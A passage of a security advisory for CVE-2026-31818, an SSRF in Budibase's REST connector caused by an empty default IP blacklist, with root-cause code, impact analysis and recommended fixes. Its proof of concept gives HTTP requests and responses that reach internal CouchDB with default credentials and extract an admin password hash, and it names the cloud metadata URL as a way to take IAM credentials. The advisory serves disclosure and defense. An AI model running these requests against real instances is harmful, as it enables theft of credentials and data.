  const list = blacklist?.split(",") || []       // ← empty array if unset
  let final: string[] = []
  for (let addr of list) {
    // ... resolves domains to IPs
  }
  blackListArray = final                         // ← empty array
}

// Line 39-54: Blacklist check
export async function isBlacklisted(address: string): Promise<boolean> {
  if (!blackListArray) {
    await refreshBlacklist()
  }
  if (blackListArray?.length === 0) {
    return false                                 // ← ALWAYS returns false when empty
  }
  // ... rest of check never executes
}

Problem: When BLACKLIST_IPS is not set (the default), blackListArray is initialized as an empty array, and isBlacklisted() unconditionally returns false for every URL.

3.2 Default Configuration Missing BLACKLIST_IPS

File: hosting/.env (official Docker Compose deployment template)

MAIN_PORT=10000
API_ENCRYPTION_KEY=testsecret
JWT_SECRET=testsecret
MINIO_ACCESS_KEY=budibase
MINIO_SECRET_KEY=budibase
COUCH_DB_PASSWORD=budibase
COUCH_DB_USER=budibase
REDIS_PASSWORD=budibase
INTERNAL_API_KEY=budibase
# ... (19 other variables)
# BLACKLIST_IPS is NOT present

No default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.

3.3 REST Integration Blacklist Check

File: packages/server/src/integrations/rest.ts

// Line 684-686: Blacklist check before fetch
const url = this.getUrl(path, queryString, pagination, paginationValues)
if (await blacklist.isBlacklisted(url)) {     // ← always false
  throw new Error("Cannot connect to URL.")   // ← never reached
}
// Line 708:
response = await fetch(url, input)             // ← unrestricted fetch

3.4 Authorization Model

Operation Endpoint Required Permission
Create datasource POST /api/datasources BUILDER (app-level)
Create query POST /api/queries BUILDER (app-level)
Execute query POST /api/v2/queries/:id QUERY WRITE (can be granted to any app user)

Route definitions: - packages/server/src/api/routes/datasource.ts:19 → builderRoutes - packages/server/src/api/routes/query.ts:33 → builderRoutes (create) - packages/server/src/api/routes/query.ts:55-66 → writeRoutes with PermissionType.QUERY, PermissionLevel.WRITE (execute)

Key insight: The BUILDER role is an app-level permission, significantly lower than GLOBAL_BUILDER (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.


4. Impact Analysis

4.1 Confidentiality — Critical

An attacker can read: - All CouchDB databases (/_all_dbs) - User credentials including bcrypt password hashes, email addresses (/global-db/_all_docs?include_docs=true) - Platform configuration including encryption keys, JWT secrets - All application data across every app in the instance - Internal service metadata (MinIO storage, Redis)

4.2 Integrity — High

Through CouchDB's HTTP API (which supports PUT/POST/DELETE), an attacker can: - Modify user records to escalate privileges - Create new admin accounts directly in CouchDB - Alter application data in any app's database - Delete databases causing data loss

4.3 Availability — Medium

  • Resource exhaustion by making the server proxy large responses from internal services
  • Database destruction via CouchDB DELETE operations
  • Service disruption by modifying critical configuration documents

4.4 Scope Change

The vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A Builder user should only be able to configure app-level logic, but this vulnerability grants direct access to: - CouchDB (database layer) - MinIO (storage layer) - Redis (cache/session layer) - Any other service accessible from the Docker network


5. Proof of Concept

5.1 Environment Setup

cd hosting/
docker compose up -d
# Wait for services to start
# Create admin account via POST /api/global/users/init
# Login to obtain session cookie

Tested on: Budibase v3.30.6, Docker Compose deployment with default hosting/.env

5.2 Step 1 — Create REST Datasource Targeting Internal CouchDB

POST /api/datasources HTTP/1.1
Host: localhost:10000
Content-Type: application/json
Cookie: budibase:auth=<session_token>
x-budibase-app-id: <app_id>

{
  "datasource": {
    "name": "Internal CouchDB",
    "source": "REST",
    "type": "datasource",
    "config": {
      "url": "http://couchdb-service:5984",
      "defaultHeaders": {}
    }
  }
}

Response (201 — datasource created successfully):

{
  "datasource": {
    "_id": "datasource_4530e34a8b2e423f8f8eb53e2b2cefc6",
    "name": "Internal CouchDB",
    "source": "REST",
    "config": { "url": "http://couchdb-service:5984" }
  }
}

No warning, no validation error — an internal hostname is accepted without restriction.

5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)

Create and execute a query to GET /:

POST /api/v2/queries/<query_id> HTTP/1.1

Response — Internal CouchDB data returned to the attacker:

{
  "data": [{
    "couchdb": "Welcome",
    "version": "3.3.3",
    "git_sha": "40afbcfc7",
    "uuid": "9cd97b58e2cef72e730a83247c377d2b",
    "features": ["search","access-ready","partitioned",
                 "pluggable-storage-engines","reshard","scheduler"],
    "vendor": {"name": "The Apache Software Foundation"}
  }],
  "code": 200,
  "time": "44ms"
}

5.4 Step 3 — Enumerate All Databases

Query: GET /_all_dbs with CouchDB admin credentials (from .env: budibase:budibase)

{
  "data": [
    {"value": "_replicator"},
    {"value": "_users"},
    {"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"},
    {"value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"},
    {"value": "global-db"},
    {"value": "global-info"}
  ]
}

5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets

Query: GET /global-db/_all_docs?include_docs=true&limit=20 Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)

Response — Full user record with bcrypt hash:

{
  "data": [{
    "total_rows": 4,
    "rows": [
      {
        "id": "config_settings",
        "doc": {
          "_id": "config_settings",
          "type": "settings",
          "config": {
            "platformUrl": "http://localhost:10000",
            "uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
          }
        }
      },
      {
        "id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
        "doc": {
          "_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
          "email": "admin@test.com",
          "password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK",
          "builder": {"global": true},
          "admin": {"global": true},
          "tenantId": "default",
          "status": "active"
        }
      },
      {
        "id": "usage_quota",
        "doc": {
          "_id": "usage_quota",
          "quotaReset": "2026-03-01T00:00:00.000Z",
          "usageQuota": {"apps": 2, "users": 1, "creators": 1}
        }
      }
    ]
  }]
}

Exfiltrated data includes: - Admin email: admin@test.com - Bcrypt password hash: $2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK - Role information: builder.global: true, admin.global: true - Tenant ID, platform URL, quota information

5.6 Step 5 — Access Other Internal Services

MinIO (Object Storage):

Datasource URL: http://minio-service:9000
Response: {"Code":"BadRequest","Message":"An unsupported API call..."}
Server header: MinIO

Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.

Redis (Port Scanning):

Datasource URL: http://redis-service:6379
Response: "fetch failed" (Redis speaks non-HTTP protocol)

Different error from non-existent host → confirms service discovery capability.

Non-existent service:

Datasource URL: http://nonexistent-service:12345
Response: "fetch failed"

5.7 Service Discovery Matrix

Target URL Response Service Confirmed
CouchDB http://couchdb-service:5984/ {"couchdb":"Welcome","version":"3.3.3"} Yes — full data access
MinIO http://minio-service:9000/ XML error with Server: MinIO header Yes — storage access
Redis http://redis-service:6379/ socket hang up / fetch failed Yes — port open
Non-existent http://nonexistent:12345/ fetch failed (ENOTFOUND) No — different error

This differential response enables internal network mapping.


6. Attack Scenarios

Scenario A: Builder User Steals All Credentials

  1. User has Builder role for one app
  2. Creates REST datasource → http://couchdb-service:5984
  3. Queries global-db to get all user records with password hashes
  4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT

Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)

  1. Attacker has Creator role (lower than Builder)
  2. Exploits CVE-2026-25040 to invite themselves as Admin
  3. Now has Builder access → exploits this SSRF
  4. Complete instance takeover

Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)

  1. On cloud-hosted instances, datasource URL: http://169.254.169.254/latest/meta-data/
  2. Retrieves IAM credentials, instance metadata
  3. Pivots to cloud infrastructure

7. Affected Code Paths

User Request
    │
    ▼
POST /api/datasources                          [BUILDER permission]
    │  packages/server/src/api/routes/datasource.ts:32
    │  → No URL validation on datasource.config.url
    ▼
POST /api/v2/queries/:queryId                  [QUERY WRITE permission]
    │  packages/server/src/api/routes/query.ts:63
    ▼
packages/server/src/threads/query.ts
    │  → Executes query via REST integration
    ▼
packages/server/src/integrations/rest.ts
    │  Line 684: blacklist.isBlacklisted(url)   → returns false (empty list)
    │  Line 708: fetch(url, input)              → unrestricted request
    ▼
Internal Service (CouchDB, MinIO, Redis, etc.)
    │
    ▼
Response returned to attacker via query results

8. Recommended Fixes

Fix 1 (Critical): Add Default Private IP Blocklist

// packages/backend-core/src/blacklist/blacklist.ts

const DEFAULT_BLOCKED_RANGES = [
  "127.0.0.0/8",       // localhost
  "10.0.0.0/8",        // RFC1918
  "172.16.0.0/12",     // RFC1918
  "192.168.0.0/16",    // RFC1918
  "169.254.0.0/16",    // link-local / cloud metadata
  "0.0.0.0/8",         // current network
  "::1/128",           // IPv6 localhost
  "fc00::/7",          // IPv6 private
  "fe80::/10",         // IPv6 link-local
]

export async function isBlacklisted(address: string): Promise<boolean> {
  // Always check against default blocked ranges
  // even when BLACKLIST_IPS is not configured
  const ips = await resolveToIPs(address)
  for (const ip of ips) {
    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {
      return true
    }
  }
  // Then check user-configured blacklist
  // ...existing logic...
}

Fix 2 (High): Validate Datasource URLs at Creation Time

// packages/server/src/api/controllers/datasource.ts

async function save(ctx) {
  const { config } = ctx.request.body.datasource
  if (config?.url) {
    if (await blacklist.isBlacklisted(config.url)) {
      ctx.throw(400, "Cannot create datasource targeting internal network")
    }
  }
  // ... existing logic
}

Fix 3 (Medium): Add DNS Rebinding Protection

Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.

Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect

Ensure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/backend-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.33.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31818"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:34:44Z",
    "nvd_published_at": "2026-04-03T16:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "## 1. Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | SSRF via REST Connector with Empty Default Blacklist Leading to Full Internal Data Exfiltration |\n| **Product** | Budibase |\n| **Version** | 3.30.6 (latest stable as of 2026-02-25) |\n| **Component** | REST Datasource Integration + Backend-Core Blacklist Module |\n| **Severity** | Critical |\n| **Attack Vector** | Network |\n| **Privileges Required** | Low (Builder role, or QUERY WRITE for execution of pre-existing queries) |\n| **User Interaction** | None |\n| **Affected Deployments** | All self-hosted instances without explicit `BLACKLIST_IPS` configuration (believed to be the vast majority) |\n\n---\n\n## 2. Description\n\nA critical Server-Side Request Forgery (SSRF) vulnerability exists in Budibase\u0027s REST datasource connector. The platform\u0027s SSRF protection mechanism (IP blacklist) is rendered completely ineffective because the `BLACKLIST_IPS` environment variable is **not set by default** in any of the official deployment configurations. When this variable is empty, the blacklist function unconditionally returns `false`, allowing all requests through without restriction.\n\nThis allows any user with `Builder` privileges (or `QUERY WRITE` permission on an existing query) to create REST datasources pointing to arbitrary internal network services, execute queries against them, and fully exfiltrate the responses \u2014 including credentials, database contents, and internal service metadata.\n\nThe vulnerability is particularly severe because:\n1. The CouchDB backend stores all user credentials (bcrypt hashes), platform configurations, and application data\n2. CouchDB credentials are embedded in the environment variables visible to the application container\n3. A successful exploit grants full read/write access to the entire Budibase data layer\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Blacklist Implementation\n\n**File**: `packages/backend-core/src/blacklist/blacklist.ts`\n\n```typescript\n// Line 23-37: Blacklist refresh reads from environment variable\nexport async function refreshBlacklist() {\n  const blacklist = env.BLACKLIST_IPS           // \u2190 reads BLACKLIST_IPS\n  const list = blacklist?.split(\",\") || []       // \u2190 empty array if unset\n  let final: string[] = []\n  for (let addr of list) {\n    // ... resolves domains to IPs\n  }\n  blackListArray = final                         // \u2190 empty array\n}\n\n// Line 39-54: Blacklist check\nexport async function isBlacklisted(address: string): Promise\u003cboolean\u003e {\n  if (!blackListArray) {\n    await refreshBlacklist()\n  }\n  if (blackListArray?.length === 0) {\n    return false                                 // \u2190 ALWAYS returns false when empty\n  }\n  // ... rest of check never executes\n}\n```\n\n**Problem**: When `BLACKLIST_IPS` is not set (the default), `blackListArray` is initialized as an empty array, and `isBlacklisted()` unconditionally returns `false` for every URL.\n\n### 3.2 Default Configuration Missing BLACKLIST_IPS\n\n**File**: `hosting/.env` (official Docker Compose deployment template)\n\n```env\nMAIN_PORT=10000\nAPI_ENCRYPTION_KEY=testsecret\nJWT_SECRET=testsecret\nMINIO_ACCESS_KEY=budibase\nMINIO_SECRET_KEY=budibase\nCOUCH_DB_PASSWORD=budibase\nCOUCH_DB_USER=budibase\nREDIS_PASSWORD=budibase\nINTERNAL_API_KEY=budibase\n# ... (19 other variables)\n# BLACKLIST_IPS is NOT present\n```\n\nNo default private IP ranges (RFC1918, localhost, cloud metadata) are hardcoded as fallback.\n\n### 3.3 REST Integration Blacklist Check\n\n**File**: `packages/server/src/integrations/rest.ts`\n\n```typescript\n// Line 684-686: Blacklist check before fetch\nconst url = this.getUrl(path, queryString, pagination, paginationValues)\nif (await blacklist.isBlacklisted(url)) {     // \u2190 always false\n  throw new Error(\"Cannot connect to URL.\")   // \u2190 never reached\n}\n// Line 708:\nresponse = await fetch(url, input)             // \u2190 unrestricted fetch\n```\n\n### 3.4 Authorization Model\n\n| Operation | Endpoint | Required Permission |\n|-----------|----------|-------------------|\n| Create datasource | `POST /api/datasources` | `BUILDER` (app-level) |\n| Create query | `POST /api/queries` | `BUILDER` (app-level) |\n| Execute query | `POST /api/v2/queries/:id` | `QUERY WRITE` (can be granted to any app user) |\n\n**Route definitions**:\n- `packages/server/src/api/routes/datasource.ts:19` \u2192 `builderRoutes`\n- `packages/server/src/api/routes/query.ts:33` \u2192 `builderRoutes` (create)\n- `packages/server/src/api/routes/query.ts:55-66` \u2192 `writeRoutes` with `PermissionType.QUERY, PermissionLevel.WRITE` (execute)\n\n**Key insight**: The `BUILDER` role is an app-level permission, significantly lower than `GLOBAL_BUILDER` (platform admin). In multi-user environments, builders are expected to create app logic but are NOT expected to have access to infrastructure-level data.\n\n---\n\n## 4. Impact Analysis\n\n### 4.1 Confidentiality \u2014 Critical\n\nAn attacker can read:\n- **All CouchDB databases** (`/_all_dbs`)\n- **User credentials** including bcrypt password hashes, email addresses (`/global-db/_all_docs?include_docs=true`)\n- **Platform configuration** including encryption keys, JWT secrets\n- **All application data** across every app in the instance\n- **Internal service metadata** (MinIO storage, Redis)\n\n### 4.2 Integrity \u2014 High\n\nThrough CouchDB\u0027s HTTP API (which supports PUT/POST/DELETE), an attacker can:\n- **Modify user records** to escalate privileges\n- **Create new admin accounts** directly in CouchDB\n- **Alter application data** in any app\u0027s database\n- **Delete databases** causing data loss\n\n### 4.3 Availability \u2014 Medium\n\n- **Resource exhaustion** by making the server proxy large responses from internal services\n- **Database destruction** via CouchDB DELETE operations\n- **Service disruption** by modifying critical configuration documents\n\n### 4.4 Scope Change\n\nThe vulnerability crosses the security boundary between the Budibase application layer and the infrastructure layer. A `Builder` user should only be able to configure app-level logic, but this vulnerability grants direct access to:\n- CouchDB (database layer)\n- MinIO (storage layer)\n- Redis (cache/session layer)\n- Any other service accessible from the Docker network\n\n---\n\n## 5. Proof of Concept\n\n### 5.1 Environment Setup\n\n```bash\ncd hosting/\ndocker compose up -d\n# Wait for services to start\n# Create admin account via POST /api/global/users/init\n# Login to obtain session cookie\n```\n\n**Tested on**: Budibase v3.30.6, Docker Compose deployment with default `hosting/.env`\n\n### 5.2 Step 1 \u2014 Create REST Datasource Targeting Internal CouchDB\n\n```http\nPOST /api/datasources HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\nCookie: budibase:auth=\u003csession_token\u003e\nx-budibase-app-id: \u003capp_id\u003e\n\n{\n  \"datasource\": {\n    \"name\": \"Internal CouchDB\",\n    \"source\": \"REST\",\n    \"type\": \"datasource\",\n    \"config\": {\n      \"url\": \"http://couchdb-service:5984\",\n      \"defaultHeaders\": {}\n    }\n  }\n}\n```\n\n**Response** (201 \u2014 datasource created successfully):\n```json\n{\n  \"datasource\": {\n    \"_id\": \"datasource_4530e34a8b2e423f8f8eb53e2b2cefc6\",\n    \"name\": \"Internal CouchDB\",\n    \"source\": \"REST\",\n    \"config\": { \"url\": \"http://couchdb-service:5984\" }\n  }\n}\n```\n\nNo warning, no validation error \u2014 an internal hostname is accepted without restriction.\n\n### 5.3 Step 2 \u2014 Query CouchDB Version (Confirm Connectivity)\n\nCreate and execute a query to `GET /`:\n\n```http\nPOST /api/v2/queries/\u003cquery_id\u003e HTTP/1.1\n```\n\n**Response** \u2014 Internal CouchDB data returned to the attacker:\n```json\n{\n  \"data\": [{\n    \"couchdb\": \"Welcome\",\n    \"version\": \"3.3.3\",\n    \"git_sha\": \"40afbcfc7\",\n    \"uuid\": \"9cd97b58e2cef72e730a83247c377d2b\",\n    \"features\": [\"search\",\"access-ready\",\"partitioned\",\n                 \"pluggable-storage-engines\",\"reshard\",\"scheduler\"],\n    \"vendor\": {\"name\": \"The Apache Software Foundation\"}\n  }],\n  \"code\": 200,\n  \"time\": \"44ms\"\n}\n```\n\n### 5.4 Step 3 \u2014 Enumerate All Databases\n\nQuery: `GET /_all_dbs` with CouchDB admin credentials (from `.env`: `budibase:budibase`)\n\n```json\n{\n  \"data\": [\n    {\"value\": \"_replicator\"},\n    {\"value\": \"_users\"},\n    {\"value\": \"app_dev_3eeb8d7949074250ae62f206ad0b61a5\"},\n    {\"value\": \"app_dev_5135f7f368bc4701a7f163baaf22f1b7\"},\n    {\"value\": \"global-db\"},\n    {\"value\": \"global-info\"}\n  ]\n}\n```\n\n### 5.5 Step 4 \u2014 Exfiltrate User Credentials and Platform Secrets\n\nQuery: `GET /global-db/_all_docs?include_docs=true\u0026limit=20`\nHeaders: `Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U=` (budibase:budibase)\n\n**Response** \u2014 Full user record with bcrypt hash:\n```json\n{\n  \"data\": [{\n    \"total_rows\": 4,\n    \"rows\": [\n      {\n        \"id\": \"config_settings\",\n        \"doc\": {\n          \"_id\": \"config_settings\",\n          \"type\": \"settings\",\n          \"config\": {\n            \"platformUrl\": \"http://localhost:10000\",\n            \"uniqueTenantId\": \"23ba9844703049778d75372e720c7169_default\"\n          }\n        }\n      },\n      {\n        \"id\": \"us_09c5f0a89b7f40c19db863e1aaaf90fd\",\n        \"doc\": {\n          \"_id\": \"us_09c5f0a89b7f40c19db863e1aaaf90fd\",\n          \"email\": \"admin@test.com\",\n          \"password\": \"$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK\",\n          \"builder\": {\"global\": true},\n          \"admin\": {\"global\": true},\n          \"tenantId\": \"default\",\n          \"status\": \"active\"\n        }\n      },\n      {\n        \"id\": \"usage_quota\",\n        \"doc\": {\n          \"_id\": \"usage_quota\",\n          \"quotaReset\": \"2026-03-01T00:00:00.000Z\",\n          \"usageQuota\": {\"apps\": 2, \"users\": 1, \"creators\": 1}\n        }\n      }\n    ]\n  }]\n}\n```\n\n**Exfiltrated data includes**:\n- Admin email: `admin@test.com`\n- Bcrypt password hash: `$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK`\n- Role information: `builder.global: true`, `admin.global: true`\n- Tenant ID, platform URL, quota information\n\n### 5.6 Step 5 \u2014 Access Other Internal Services\n\n**MinIO (Object Storage)**:\n```\nDatasource URL: http://minio-service:9000\nResponse: {\"Code\":\"BadRequest\",\"Message\":\"An unsupported API call...\"}\nServer header: MinIO\n```\nConfirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.\n\n**Redis (Port Scanning)**:\n```\nDatasource URL: http://redis-service:6379\nResponse: \"fetch failed\" (Redis speaks non-HTTP protocol)\n```\nDifferent error from non-existent host \u2192 confirms service discovery capability.\n\n**Non-existent service**:\n```\nDatasource URL: http://nonexistent-service:12345\nResponse: \"fetch failed\"\n```\n\n### 5.7 Service Discovery Matrix\n\n| Target | URL | Response | Service Confirmed |\n|--------|-----|----------|-------------------|\n| CouchDB | `http://couchdb-service:5984/` | `{\"couchdb\":\"Welcome\",\"version\":\"3.3.3\"}` | Yes \u2014 full data access |\n| MinIO | `http://minio-service:9000/` | XML error with `Server: MinIO` header | Yes \u2014 storage access |\n| Redis | `http://redis-service:6379/` | `socket hang up` / `fetch failed` | Yes \u2014 port open |\n| Non-existent | `http://nonexistent:12345/` | `fetch failed` (ENOTFOUND) | No \u2014 different error |\n\nThis differential response enables internal network mapping.\n\n---\n\n## 6. Attack Scenarios\n\n### Scenario A: Builder User Steals All Credentials\n1. User has `Builder` role for one app\n2. Creates REST datasource \u2192 `http://couchdb-service:5984`\n3. Queries `global-db` to get all user records with password hashes\n4. Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT\n\n### Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)\n1. Attacker has `Creator` role (lower than Builder)\n2. Exploits CVE-2026-25040 to invite themselves as Admin\n3. Now has Builder access \u2192 exploits this SSRF\n4. Complete instance takeover\n\n### Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)\n1. On cloud-hosted instances, datasource URL: `http://169.254.169.254/latest/meta-data/`\n2. Retrieves IAM credentials, instance metadata\n3. Pivots to cloud infrastructure\n\n---\n\n## 7. Affected Code Paths\n\n```\nUser Request\n    \u2502\n    \u25bc\nPOST /api/datasources                          [BUILDER permission]\n    \u2502  packages/server/src/api/routes/datasource.ts:32\n    \u2502  \u2192 No URL validation on datasource.config.url\n    \u25bc\nPOST /api/v2/queries/:queryId                  [QUERY WRITE permission]\n    \u2502  packages/server/src/api/routes/query.ts:63\n    \u25bc\npackages/server/src/threads/query.ts\n    \u2502  \u2192 Executes query via REST integration\n    \u25bc\npackages/server/src/integrations/rest.ts\n    \u2502  Line 684: blacklist.isBlacklisted(url)   \u2192 returns false (empty list)\n    \u2502  Line 708: fetch(url, input)              \u2192 unrestricted request\n    \u25bc\nInternal Service (CouchDB, MinIO, Redis, etc.)\n    \u2502\n    \u25bc\nResponse returned to attacker via query results\n```\n\n---\n\n## 8. Recommended Fixes\n\n### Fix 1 (Critical): Add Default Private IP Blocklist\n\n```typescript\n// packages/backend-core/src/blacklist/blacklist.ts\n\nconst DEFAULT_BLOCKED_RANGES = [\n  \"127.0.0.0/8\",       // localhost\n  \"10.0.0.0/8\",        // RFC1918\n  \"172.16.0.0/12\",     // RFC1918\n  \"192.168.0.0/16\",    // RFC1918\n  \"169.254.0.0/16\",    // link-local / cloud metadata\n  \"0.0.0.0/8\",         // current network\n  \"::1/128\",           // IPv6 localhost\n  \"fc00::/7\",          // IPv6 private\n  \"fe80::/10\",         // IPv6 link-local\n]\n\nexport async function isBlacklisted(address: string): Promise\u003cboolean\u003e {\n  // Always check against default blocked ranges\n  // even when BLACKLIST_IPS is not configured\n  const ips = await resolveToIPs(address)\n  for (const ip of ips) {\n    if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {\n      return true\n    }\n  }\n  // Then check user-configured blacklist\n  // ...existing logic...\n}\n```\n\n### Fix 2 (High): Validate Datasource URLs at Creation Time\n\n```typescript\n// packages/server/src/api/controllers/datasource.ts\n\nasync function save(ctx) {\n  const { config } = ctx.request.body.datasource\n  if (config?.url) {\n    if (await blacklist.isBlacklisted(config.url)) {\n      ctx.throw(400, \"Cannot create datasource targeting internal network\")\n    }\n  }\n  // ... existing logic\n}\n```\n\n### Fix 3 (Medium): Add DNS Rebinding Protection\n\nResolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.\n\n### Fix 4 (Medium): Disable HTTP Redirects or Re-validate After Redirect\n\nEnsure that if a response redirects to an internal IP, the redirect target is also checked against the blacklist.",
  "id": "GHSA-7r9j-r86q-7g45",
  "modified": "2026-04-03T21:34:44Z",
  "published": "2026-04-03T21:34:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-7r9j-r86q-7g45"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31818"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/18236"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/5b0fe83d4ece52696b62589cba89ef50cc009732"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.33.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: Server-Side Request Forgery via REST Connector with Empty Default Blacklist"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.